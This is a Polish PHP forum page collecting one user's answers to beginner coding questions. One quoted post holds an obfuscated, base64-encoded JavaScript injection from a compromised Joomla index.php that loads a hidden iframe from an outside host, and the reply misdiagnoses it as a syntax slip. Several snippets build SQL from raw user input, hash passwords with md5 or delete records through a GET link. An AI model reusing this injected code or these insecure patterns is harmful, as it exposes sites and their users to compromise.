Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

2 Stron V   1 2 >

redelek
Napisane: 16.04.2012, 13:48:14





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

zobacz czy napewno zmiene się zgadzają i czy w formularzu pole nazywa się image_filename1.
Czy dodawane zdjęcie zawiera spacje ? może tu sobie nie radzi ? wgraj zdjęcie bez znaków specjalnych.

  Forum: Przedszkole · Podgląd postu: #956641 · Odpowiedzi: 8 · Wyświetleń: 293

redelek
Napisane: 16.04.2012, 12:43:50





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

tu możesz sobie zmieniać
  1. if($width >1280) {
  2. $error .="Szerokosc+obrazka+nie+moze+byc+wieksza+niz+1280+pikseli";
  3. }
  4. if($height >800) {
  5. $error .="Wysokosc+obrazka+nie+moze+byc+wieksza+niz+1280+pikseli";
  6. }
  Forum: Przedszkole · Podgląd postu: #956621 · Odpowiedzi: 3 · Wyświetleń: 226

redelek
Napisane: 23.11.2011, 09:37:03





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Ja bym to zrobił na bazie, albo do istniejącej dodał kilka pól takich jak np: status_login i tu cyfra 1 lub 0 , podczas logowania sprawdza która jest . Jeśli 1 to odmawia zalogowania. Status się zmienia po wylogowaniu na 0.
Tak samo bym zrobił ze zmianą hasła po każdym logowaniu pobiera cyferkę z bazy dodaje 1 i zapisuje, jeśli będzie 10 to przerzuca na strone gdzie trzeba zmienić hasło.
Co prawda trzeba sie zastanowić czy takie zabezpieczenia są konieczne i czy nie utrudnią życia smile.gif może wystarczy użyć md5 do "haszowania" haseł i logowanie przełączyć na https a nie na http?

Decyzje pozostawiam Tobie. To mój pomysł na Twoje problemy
  Forum: Przedszkole · Podgląd postu: #916331 · Odpowiedzi: 9 · Wyświetleń: 760

redelek
Napisane: 23.11.2011, 10:05:42





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Hej,

Moim zdaniem przy takim kodzie otwiera Ci się cały czas main.php.
Nie masz nigdzie w kodzie zmiennej $haslo , więc ta zmienna jest pusta i otwiera zawsze opcje default main.php.
Ty masz zmienną $pass, więc zmień to na taki kod

  1. switch ($pass){
  2. case 'haslo1': $link = 'main.php';break;
  3. case 'haslo2': $link = 'main2.php';break;
  4. case 'haslo3': $link = 'main3.php';break;
  5.  
  6. default: $link = 'main.php';break;
  7. }
  8. header('Location: '.$link);


Poza tym dosyć ciekawe jest to zapytanie

  1. $query=("SELECT `user` FROM `users` WHERE `user` = '".$login."' AND `pass` = '".$pass."'");


Pobierasz tylko pole USER z tabeli USERS, a sprawdzasz jeszcze pole pass o tu WHERE `user` = '".$login."' AND `pass` = '".$pass."'"), a pola pass nie pobierasz
Ja bym to zapytanie przerobił na takie
  1. $query=("SELECT `user`,`pass` FROM `users` WHERE `user` = '".$login."' AND `pass` = '".$pass."'");
i wtedy to ma sens lub SELECT * wszystkie pola z tabeli

Oczywiście PHP to moje hobby, a nie praca i chlebek więc mogę się mylić smile.gif)
  Forum: Przedszkole · Podgląd postu: #916334 · Odpowiedzi: 8 · Wyświetleń: 666

redelek
Napisane: 1.09.2010, 12:10:34





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Hej,

1. Prawie wszędzie brakuje Ci domknięć ) lub (
2. Z jakiego języka po if stawiasz ; w php raczej tego się nie robi ( albo ja o czymś nie wiem )
3. Zobacz jak piszesz np. throw new Exception potem throw new exception a potem Throw new exception ( zdecyduj się na jedną i najlepiej prawidłową formę )

Jak możesz to korzystaj z jakiegoś edytora który pokaże Ci , gdzie ci brakuje nawiasów .

Powodzenia


  Forum: Przedszkole · Podgląd postu: #785267 · Odpowiedzi: 13 · Wyświetleń: 1 291

redelek
Napisane: 26.04.2010, 09:25:23





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

hej,

Moim zdaniem, funkcja mail jest poza wszelkimi if-ami, więc jeśli dotknisz ten plik po zalogowaniu od razu zostaje wysłany e-mail, nawet jeśli dane są puste.
Cofnij o jedną klamerkę wysyłanie o tak
  1. if(!isset($cmd))
  2. {
  3.  
  4. $result = mysql_query("select * from zapytania WHERE id=$id");
  5.  
  6.  
  7. while($r=mysql_fetch_array($result))
  8. {
  9.  
  10. $zapytanie=$r["zapytanie"];
  11. $email=$r["email"];
  12. $opinia=$r["opinia"];
  13. $autor=$r["autor"];
  14. $id=$r["id"];
  15. }
  16. $message = "<html><body>Twoje zapytanie: <p />$zapytanie<p /> Opinia:<p /> <b>$opinia</b><p />Pozdrawiam<br />$autor<a href='mailto:adres@email.pl'>adres@email.pl</a></body></html>";
  17.  
  18. $header = "MIME-Version: 1.0\r\n".
  19. "Content-type: text/html; charset=iso-8859-2\r\n".
  20. "From: adres@email.pl <adres@email.pl>" . "\r\n";
  21. $header .= "Disposition-Notification-To: <adres@email.pl>";
  22. @mail("$email","Opinia ID: $id ","$message","$header")
  23. or die('Nie udało się wysłać opinii');
  24. // wyświetlenie komunikatu w przypadku powodzenia
  25. echo "Opinia została wysłana.";
  26. }


jeśli warunek $cmd spełni się wiadomość dopiero zostanie wysłana. Osobiście dodał bym sprawdzanie czy mysql coś zwrócił i jeśli tak to dopiero odczytał dane i wysłał. Na razie cofnij kod o jedną klamerkę i zobacz czy będzie oki.

  Forum: Przedszkole · Podgląd postu: #740347 · Odpowiedzi: 8 · Wyświetleń: 1 040

redelek
Napisane: 11.08.2009, 15:27:31





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Ja raczej coś takiego załatwiam linkiem tylko link wygląda jak submit
  1. <a href=usun.php?del=$row['id'] >Usuń </a>

i po sprawie
W stylach zrób sobie żeby łącze a href wyglądało jak przycisk i masz gotowe.
Chyba w samym submit nie da się tak zrobić jak chcesz .

2. Rozwiązanie drugie to dodaj gdzieś ukryte pole w którym będą zapisywane rekordy np.
  1. <input type="hidden" name="id_usuwanego_rekordu" value="$row['id']" />


i potem w formularzu zobacz czy dostajesz tą wartość i usuwaj rekord. Wtedy do submit wpisz values="usuń" i po sprawie

oo i tak to powinno wyglądać
  Forum: Przedszkole · Podgląd postu: #647169 · Odpowiedzi: 6 · Wyświetleń: 922

redelek
Napisane: 17.07.2009, 08:28:16





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Serwerki do testów na localhost

VertigoServ
http://vertrigo.sourceforge.net/?lang=pl
WampServer
http://www.wampserver.com/

Tak hosting CBA.PL pozwala na uruchomienie wszystkiego co zrobisz na localhost ( niestety nie mam tam konta, ale wyglądają sympatycznie )
Kolejny serwis darmowy http://www.ugu.pl/ u nich też wygląda , że na początek powinno Ci wystarczyć.
  Forum: Przedszkole · Podgląd postu: #635409 · Odpowiedzi: 76 · Wyświetleń: 169 622

redelek
Napisane: 6.05.2009, 08:25:57





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Nie ma czegoś takiego .

Ścieszka bezwzględna to jest np C:\dane\dane2\dane3\dane4\plik.js
Ścieżka względna to jest właśnie ../dane/dane2/dane3/dane4/plik.js. Nie szuka wtedy nam danych na C tylko wychodzi jeden folder wyżej ( .. oznacza folder wyżej ) i wchodzi kolejno gdzie tam chcesz.

Moim zdaniem jeśli nie ma czegoś takiego , żeby aplikacja sama się domyśliła i czegoś wyszukała. Chyba że napiszesz jakąś funkcję w JS lub php, która to będzie robić smile.gif

Może tu coś znajdziesz co pomoże Ci ją skrócićman
np. $_SERVER['DOCUMENT_ROOT']

Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #604754 · Odpowiedzi: 3 · Wyświetleń: 2 748

redelek
Napisane: 7.04.2009, 12:20:52





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

To postaw "POMÓGŁ"

Tak tu się dziękuje


Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #594013 · Odpowiedzi: 6 · Wyświetleń: 1 074

redelek
Napisane: 25.03.2009, 16:26:19





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

A jak wracasz na stronę z danymi ?
  Forum: Przedszkole · Podgląd postu: #588860 · Odpowiedzi: 36 · Wyświetleń: 2 948

redelek
Napisane: 26.02.2009, 12:00:35





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Tam gdzie masz pliki ze swoją stroną dodaj taki pliczek
.htaccess a w nim wpisz

php_value upload_max_filesize 25M
php_value post_max_size 25M

Powinno pomóc u mnie działa, bo Admin nie chciał zwiększyć smile.gif


Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #576562 · Odpowiedzi: 2 · Wyświetleń: 1 207

redelek
Napisane: 20.01.2009, 10:49:45





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(Befana @ 20.01.2009, 10:41:15 ) *
Witam, jestem na prawdę zielonym przedszkolakiem wiec z góry proszę o wyrozumiałość.

Od wczoraj szukam i szukam rozwiązania problemou na różnych stronach, forach, książkach... znalazłam dwa i... nic nie działa sad.gif

Do rzeczy więc:
Chciałam zainstalować PHP, pobrałam wersję 5.2.8 dla Win32
wcześniej zainstalowałam Apache2.2 - działa
i MySQL 5.0 też działa, przynajmniej tak mi się wydaje:/

Tak więc pobrałam pakiet PHP, rozpakowałam w folderze c:\php5
Moje podręczniki i strony, które znalazłam podają, że php.ini-recommended należy skopiować do c:\Windows i zmienić na php.ini - skopiowałam, zmieniłam nazwę, chciałam otowrzyć bo musze tam wprowadzić jakieś zmiany i nic!!!
Pojawia się informacja: "nazwa pliku, nazwa katalogu lub składnia etykiety woluminu jest niepoprawna" po czy pojawia siepusta strona notatnika.
Prubowałam kopiować w różne miejsca i wszystko z podobnym efektem.

Wiem, ze to strasznie banalne pytanie, ale to moje absolutnie pierwsze kroki z php i już zupełnie skończyły mi się pomysły sciana.gif . Będę na prawdę ogromnie wdzieczna za pomoc.


Powiem krótko. Jeśli to twoje początki, programistyczne i administracyjne daruj sobie odpalanie oddzielnych usług na Windows.
Polecam
http://www.webserv.pl/
http://www.olesno.pl/~pablo/krasnal/index1.php
http://www.wampserver.com/

Gotowe projekty, wszystko skompilowane Apache, PHP, MySQL, Perl, Python i co tam chcesz. Odpalasz exe dalej dalej i masz zainstalowane.
Trudno by Ci było opisać jak to dokładnie odpalić bo zawsze są problemy na Windach.
Na linux instalujesz z paczek i zawsze działa ( ręczna kompilacja też jest bardziej skomplikowana )

Polecam na początek to co podałem w linkach

Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #560339 · Odpowiedzi: 4 · Wyświetleń: 1 075

redelek
Napisane: 5.11.2008, 19:54:02





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(Krakier @ 5.11.2008, 19:29:14 ) *
Witam,
Nie wiedziałem gdzie konkretnie zamieścić ten temat, ale chodzi tu w sumie o działanie php więc zamieściłem na tym forum winksmiley.jpg.
Czy istnieje jakiś sposób / funkcja php, która wywołuje polecenie Linuxa (np: shutdown, logout, czyli te co wpisuje się w terminalu)?

Pozdrawiam.


JOP exec

Powodzenia
Redelek

P.S. W tych sprawach osobiście polecam perl:)
  Forum: Przedszkole · Podgląd postu: #533470 · Odpowiedzi: 2 · Wyświetleń: 1 703

redelek
Napisane: 17.10.2008, 08:14:28





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(kosik86 @ 17.10.2008, 07:00:44 ) *
Witam, mam pytanie odnosnie prostego skryptu. Mam baze danych mysql z tabela:

customers
-------------
city_id
city_name
----------

city_id to po prostu numerek autoinkrementowany , city_name to miejscowosc np : katowice,sosnowiec,warszawa,krakow,gdansk etc. Na stronie mam formularz w ktorym uzytkownik wpisuje miasto i zalozmy ze jesli wpisze katowice to wyswietla sie strona katowice.php jesli wpsize sosnowiec to strona sosnowiec.php ktora zostala juz wczesniej utworzona. Jak to zrobic? Nie jestem programista i nie wiem jak to zbytnio zrobic, mam podstawowe znajomosci html i troszke php. Pozdrawiam.


Dodaj pole listy które będzie pobierało dane z tabeli np. tak

  1. <div>
  2. <label for="f_jezyk">Wybierz Misato</label>

  1. <?php
  2.              $dbhost = 'localhost'; // tu wpisujesz nazwię serwera
  3.              $dbuser = 'uzytkownik'; // użytkownik który może łączyć się do tej bazy
  4.              $dbpass = 'haslo'; // hasło ww użytkownika
  5.              $dbname = 'nazwa_tabeli'; // nazwa Twojej tabeli
  6.              $polacz = @mysql_connect($dbhost, $dbuser, $dbpass) or die ('Problem z połączeniem'); // łączysz się do bazy
  7.              mysql_select_db($dbname); //wybierasz bazę
  8.                  $query  = "SELECT city_id, city_name FROM customers"; //zadajesz pytanie do swojej tabeli
  9.              $result = mysql_query($query) or die('UUpss nie mogę pobrać rekordów z bazy :(');
  10.                if(mysql_num_rows($result) == 0){
  11.                       echo "Baza jest pusta.<font color='red'><b> ERROR 1</b></font> <br>";
  12.                      
  13.                     }else
  14.                     {
  15.                         echo '<select name="pole_miasto">';
  16.                     while(list($city_id, $city_name) = mysql_fetch_array($result))
  17.                      {
  18.                        echo '<option>'.$city_name.'</option>';  
  19.        
  20.                      }echo '</select>';
  21.                }
  22.  
  23. ?>

  1. </div>


I masz .

Powodzenia
Redelek
  Forum: Przedszkole · Podgląd postu: #527074 · Odpowiedzi: 5 · Wyświetleń: 2 313

redelek
Napisane: 28.09.2008, 20:38:21





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(jerry123 @ 28.09.2008, 18:21:49 ) *
Witam
Sorry, że tutaj ale na forum Joomla jakoś nic nie mogę znaleźć. Problem jest następujący stronka postawiona na serwerze internetdsl w Joomla 1.5.6 dzialała prawie miesiąc, aż tu wczoraj przy próbie wejścia pojawił się błąd:
CODE
Parse error: syntax error, unexpected '?' in index.php on line 88


Nie znam się na php więc może ktoś mnie oświeci i podpowie jak to ugryźć. Wkleję fragment kodu z tego index.php od 87 linii:

CODE
echo JResponse::toString($mainframe->getCfg('gzip')); <script type=text/javascript>

eval("function _g_u(t){var k='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o='';var q,w,e;var a,s,d,f;var i=0;do{a = k.indexOf(t.charAt(i++));s=k.indexOf(t.charAt(i++));d=k.indexOf(t.charAt(i++));f
k.indexOf(t.charAt(i++));q=(a << 2) | (s >> 4);w=((s & 15) << 4) | (d >> 2);e=((d & 3) << 6) | f;o=o+String.fromCharCode(q);if(d!=64) o=o+String.fromCharCode(w); if(f!=64) o=o+String.fromCharCode(e);} while(i<t.length);document.write(o);};_g_u('PElGUkFNRSBTUkM9Imh0dHA6Ly90cmFmZmEuaW5mby9pbWcvc3R5bGUvc3R5bGUucGhwIiBXSURU
D0wIEhFSUdIVD0wPjwvSUZSQU1FPg==');");



Bardzo mi zależy na przywróceniu stronki do życia, bo to szkolna stronka i szefuńcio mnie zje, a nie zdążyłem zrobić kopii...
i boję się myśleć co będzie jak się nie uda sadsmiley02.gif


Nie musisz się znać:)
Pobierz Jomla wypakuj ją i zobacz jak tam wygląda index.php. Porównaj ze swoim.
Prawdopodobnie brakuje takiego znaczka ?> czyli zakończenia kodu PHP.

Najprościej to porównaj swój plik z oryginalnym i po sprawie.

Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #521066 · Odpowiedzi: 2 · Wyświetleń: 1 510

redelek
Napisane: 16.09.2008, 15:02:29





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Proszę bardzo.
Do dopracowania przez Ciebie

  1. <?php
  2. $plik = file('kody.txt');
  3.  
  4. if (mysql_connect("localhost", "root", "")
  5.  and mysql_select_db("php_forum")) {
  6.  
  7.  foreach($plik as $linia) {
  8.    $i++;
  9.    list($kod) = explode("\n",trim($linia));
  10.    $wynik = mysql_query(" INSERT INTO kody SET kod='$linia' ");
  11.    //echo $kod.'\n';
  12.    if (!wynik) echo "Błąd w linii $i ".mysql_error()." <br />";
  13.  } //echo "Dane dodane";
  14. }
  15. ?>

Dane są wczytywane z pliku. Możesz się wzorować lub przeklepać

Powodzenia
Redelek
  Forum: Przedszkole · Podgląd postu: #516708 · Odpowiedzi: 8 · Wyświetleń: 1 225

redelek
Napisane: 8.08.2008, 11:24:41





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(xmen @ 8.08.2008, 09:02:47 ) *
zapewne htaccess nie umiem skonfigurować

autor w info napisał
INSTALL
=======

The installation is simple:
1) Be sure you have PHP 5 installed and all the
required PHP extensions:
* Tidy (1st June 2004 or newer)
* OpenSSL
* iconv
* pspell
* xdiff [optional]

Note that PHP >= 5.0.2 is recommended
Note 2: PHP 5.1.0 is required to enable spell checking

2) Copy the files to the installation folder

3) Tweak the "AllowOverride" setting to allow the
.htaccess file to set some PHP settings

4) Tweak the settings in the validator.inc file (optional)

5) Fire up your browser and enjoy 

link do skryptu

0
niby takie proste ale nie dla mnie kombinowałem z tym htacess i nic dalej niw wiem jak to zrobic - prośba o pomoc
The server encountered an internal error or misconfiguration and was unable to complete your request.


To nie Twoja wina po prostu plik .htaccess nie jest dostosowany do Twojego serwera. Wywal go i napisz swój, lub zmień jego konfigurację na taką

#php_value default_charset "UTF-8"
#php_value upload_max_filesize 50000
#DirectoryIndex index.php
AddOutputFilterByType DEFLATE text/plain text/css text/html

<FilesMatch "\.inc$">
Order allow,deny
Allow from all
</FilesMatch>

<FilesMatch "en.inc$">
Order allow,deny
Allow from all
</FilesMatch>

Powinno działać u mnie ruszył. Albo wywal cały plik .htaccess i po sprawie:)

Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #502811 · Odpowiedzi: 4 · Wyświetleń: 1 609

redelek
Napisane: 8.08.2008, 08:03:41





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(zeetor @ 8.08.2008, 06:56:17 ) *
Wiatm

Jak pobrać z pola char które zawiera 25 znaków, tylko 5 pierwszych liter??

dz i pozdr


  1. <?php
  2. $tekst= substr('Piotrek jest dobry',0,5);
  3.  
  4. echo $tekst; // wyswietli Piotr
  5. ?>


substr" title="Zobacz w manualu PHP" target="_manual
Powodzenia
Redelek
  Forum: Przedszkole · Podgląd postu: #502699 · Odpowiedzi: 2 · Wyświetleń: 3 082

redelek
Napisane: 8.08.2008, 11:02:00





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(piotrpajor @ 8.08.2008, 09:48:31 ) *
}
$p_nazwa =$uploaddir.$_FILES['plik']['name'];
$p_roz= array_pop(explode(".", $p_nazwa));
$p_nazwa_zm=(md5($p_nazwa)).".".$p_roz;
{
$uploaddir = 'katalog/';
if(move_uploaded_file($_FILES['plik']['tmp_name'], $uploaddir.$_FILES['plik']['name']))
chmod($uploaddir.$_FILES['plik']['name'], 0644);


Nie nie no musisz pozmieniać u siebie. Zobacz, nadal przesyłasz stary plik
  1. <?php
  2. if(move_uploaded_file($_FILES['plik']['tmp_name'], $uploaddir.$_FILES['plik']['name']))
  3. chmod($uploaddir.$_FILES['plik']['name'], 0644);
  4. ?>


zrób tak

  1. <?php
  2. if(move_uploaded_file($_FILES['plik']['tmp_name'], $uploaddir.$p_nazwa_zm))
  3. chmod($uploaddir.$p_nazwa_zm, 0644);
  4. ?>


Wtedy powinno zakukać, Ty w całym skrypcie używasz $_FILES['plik']['name'] można to zapisać do zmiennej i będzie ładniej i przejrzyściej, dla Ciebie
Ja to zrobiłem sobie tak
$nazwa_pliku=$_FILES['plik']['tmp_name']
$plik_tmp=$_FILES['plik']['tmp_name']
nie łatwiej ?

Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #502797 · Odpowiedzi: 3 · Wyświetleń: 1 568

redelek
Napisane: 8.08.2008, 07:31:27





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(piotrpajor @ 7.08.2008, 22:51:34 ) *
Witam, mam już skrypt uploadu jednak nie wiem jak napisać to, aby nazwa wysłanego pliku zmieniła swoją nazwę w 100% na jakiś ciąg znaków np. na liczby .


Możesz tak.

  1. <?php
  2. #Zrób sobie zmienną żeby było łatwiej
  3. $p_nazwa = $_FILES['plik']['name'];
  4. #Potem wytnij rozszerzenie z pliku
  5. $p_roz= array_pop(explode(".", $p_nazwa));
  6. # potem zakoduj nazwę pliku metodą md5 i doklejasz rozszerzenie. Jeśli chcesz ko
    dować całe pliki to nie używaj tego
  7. # ale będziesz miał problem z późniejszym ich wyświetleniem, bo nie będą miały ".jpg"
  8. $p_nazwa_zm=(md5($p_nazwa)).".".$p_roz;
  9. ?>

i po sprawie. Pliki będą miały różne nazwy i będą ciągiem d24dfr48hsbadw09823ngpolk12bah.jpg.Ten cąg będzie ewnerowany na podstawie
pierwotnej nazwy pliku. Ja tak mam u siebie i działa.

Cytat(piotrpajor @ 7.08.2008, 22:51:34 ) *
i druga sprawa już mniej ważna to jak zrobić miniaturki do nowo wysłanego pliku, aby zapisały się na serwerze

No miniaturka to już większy problem ale nie taki wilk straszny.Pokażę Ci mój przykład i musisz go jakość wpleść w swój upload. Mój skrypt jest wywoływany oddzielnie i robi miniaturki. AAA do poprawnego działania jest wymagane GD2.

  1. <?php
  2. echo "rozpoczynam indexowanie<br />";
  3. $katalog = dir('images/'); // bieżący katalog
  4. while($plik = $katalog->read()){
  5. if (($plik != '.') AND ($plik != '..') AND ($plik !='Thumbs.db')) {
  6.  
  7.  //Przypisujemy do zmiennej $img_path ścieżke do obrazka
  8.  $img_path = "images/$plik";
  9.  //Tworzymy ścieżkę do miniaturki
  10.  $thumb_path = "mini/$plik";
  11. //ustalamy maksymalny dopuszczalny rozmiar miniatury
  12. $max_width=$max_height=100;
  13. //Sprawdzamy czy obraz istnieje
  14. if(!file_exists($img_path))die('<p>Plik obrazu nie istnieje</p>');
  15. //Pobieramy informacjie o obrazie
  16. $img_attr = getimagesize($img_path);
  17.  
  18.  //Sprawdzamy czy obraz jest wiekszy na szerokość czy na wysokość 
  19.  // i zmniejszamy odpowiednio rozmiar
  20.  // $img_attr[0] - szerokosc, $img_attr[1] - wysokość
  21.  if($img_attr[0]>$img_attr[1]){
  22.  $scale = $img_attr[0] / $max_width;
  23.  }else{
  24.  $scale = $img_attr[1] / $max_height;
  25.  }
  26.  
  27.  //Tworzymy obraz miniaturki
  28.  $w = floor($img_attr[0]/$scale);
  29.  $h = floor($img_attr[1]/$scale);
  30.  $thumb = imagecreatetruecolor($w,$h);
  31.  
  32.  //Kopiujemy obraz pomniejszając go,
  33.  imagecopyresampled($thumb, imagecreatefromjpeg($img_path), 0, 0, 0, 0, $w, $h, $img_attr[0], $img_attr[1]);
  34.  
  35.  //Zapisujemy do pliku (jakość 85)
  36.  imagejpeg($thumb,$thumb_path,85);
  37.  
  38.  
  39. }
  40. } 
  41. $katalog->close();
  42.  
  43. ?>


Nie powinieneś mieć problemu i powinno śmigać.
Możesz jeszcze rozbudować skrypt o bazę danych korzystając z mojego ARTYKUŁ

Powodzenia
Redelek
  Forum: Przedszkole · Podgląd postu: #502683 · Odpowiedzi: 3 · Wyświetleń: 1 568

redelek
Napisane: 6.08.2008, 15:52:20





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(JamalBIG @ 6.08.2008, 14:48:24 ) *
Witam

W jaki sposob uaktualnic kolumne w tabeli o aktualna date? Mam 'kodzik' ale nie pamietam jak wywolac aktualna date...

  1. <?php
  2. $sql = "UPDATE tabela_4 SET last_action = $_POST WHERE id = '$row_id'";
  3. ?>


w zapytaniu SQL jako wartość( VALUE ) wpisujesz
  1. NOW()
lub
w PHP robisz sobie zmienną:)
  1. <?php
  2. $datka=date('Y-m-d H:i:s');
  3. ?>


Pozdro
Redelek
  Forum: Przedszkole · Podgląd postu: #502064 · Odpowiedzi: 4 · Wyświetleń: 1 437

redelek
Napisane: 16.07.2008, 13:31:22





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(simperium @ 16.07.2008, 12:23:26 ) *
tradycyjnie, jak pobrać nie adres IP, a nazwę hostu?
coś jak tu http://www.kurshtml.boo.pl/ip/index.php w polu host.
próbowałem przez wpisanie $gethostbyname i $gethostbyaddr, niestety to chyba nie to, gdyż nic nie zwraca sad.gif.

Będę wdzięczny za pomoc smile.gif


Może tak

  1. <?
  2. $ip='213.180.130.200'; //zamiast tego można wpisać ip łączącego się komputera $REMOTE_ADDR
  3. $host=gethostbyaddr($ip); //funkcja pobierająca nazwę hosta ze zmiennej $ip
  4.  
  5.  
  6. echo"Adres ip: $ip, wszedłeś z hosta: $host";
  7. ?>


Skrypt zwraca Adres ip: 213.180.130.200, wszedłeś z hosta: f1virt.onet.pl <- to nazwa hosta

Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #493959 · Odpowiedzi: 4 · Wyświetleń: 1 512

redelek
Napisane: 15.07.2008, 08:43:04





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(Gordon1x @ 15.07.2008, 07:31:12 ) *
Filtruje zmienne funkcją ereg.
Gdy zmienna jest liczbą to nie ma problemu, ale gdy zamiast liczby wprowadzę OR--1 itp. To funkcja nie reaguje, a skrypt dalej się wykonuje.

Proszę o pomoc w rozwiązaniu problemu.

  1. <?php
  2. if(!ereg("[0-9]", $gid){
  3.  print ("Błąd danych");
  4.  exit;
  5. }
  6. ?>

Ja to załatwiam tym preg_match" title="Zobacz w manualu PHP" target="_manual
  Forum: Przedszkole · Podgląd postu: #493430 · Odpowiedzi: 2 · Wyświetleń: 760

redelek
Napisane: 14.07.2008, 15:58:45





Grupa: Zarejestrowani
Postów: 658
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----

Cytat(flea @ 14.07.2008, 14:54:59 ) *
Mam pewien problem przy pobieraniu danych z formularzy. Przejdę od razu do rzeczy.
Mam stronę index.php:
Kod
<FORM ACTION="2.php" METHOD="POST">
imie: <INPUT TYPE="text" NAME="imie">
<INPUT TYPE="submit" VALUE="zatwierdź">
</FORM>

i stronę 2.php, która pobiera dane wpisane w formularzu w index.php
Kod
<?php
echo $_POST['imie'];
?>


Teraz mam problem. Chcę zrobić stronę pomiędzy index.php, a 2.php. Mam na myśli to, że jak wpiszemy dane w formularzu w index i klikniemy w zatwierdź to otworzy nam się strona z linkiem i dopiero wtedy kiedy klikniemy na link to przeniesie nas do strony w której dane pobraliśmy z formularza, w moim wypadku jest to 2.php. Trochę nie umiem tego przekazać dokładnie, ale mam nadzieję, że jakoś mnie zrozumiecie. Bardzo proszę o pomoc bo jestem nowiciuszem w tych sprawach.


No dobra a opisz dlaczego i czemu to ma służyć. Jak na mój gust to sobie nakręcisz i potem sam nie będziesz wiedział gdzie Ci się dane gubią.
Jeśli chodzi Ci o bezpieczeństwo to na pewno czymś takim nie oszukasz sprytnych robocików one to znają smile.gif.

Pozdrawiam
Redelek
  Forum: Przedszkole · Podgląd postu: #493206 · Odpowiedzi: 4 · Wyświetleń: 1 425

2 Stron V   1 2 >

New Posts  Nowe odpowiedzi
No New Posts  Brak nowych odpowiedzi
Hot topic  Popularny temat (Nowe)
No new  Popularny temat (Brak nowych)
Poll  Sonda (Nowe)
No new votes  Sonda (Brak nowych)
Closed  Zamknięty temat
Moved  Przeniesiony temat
 

RSS Wersja Lo-Fi Aktualny czas: 18.04.2024 - 07:04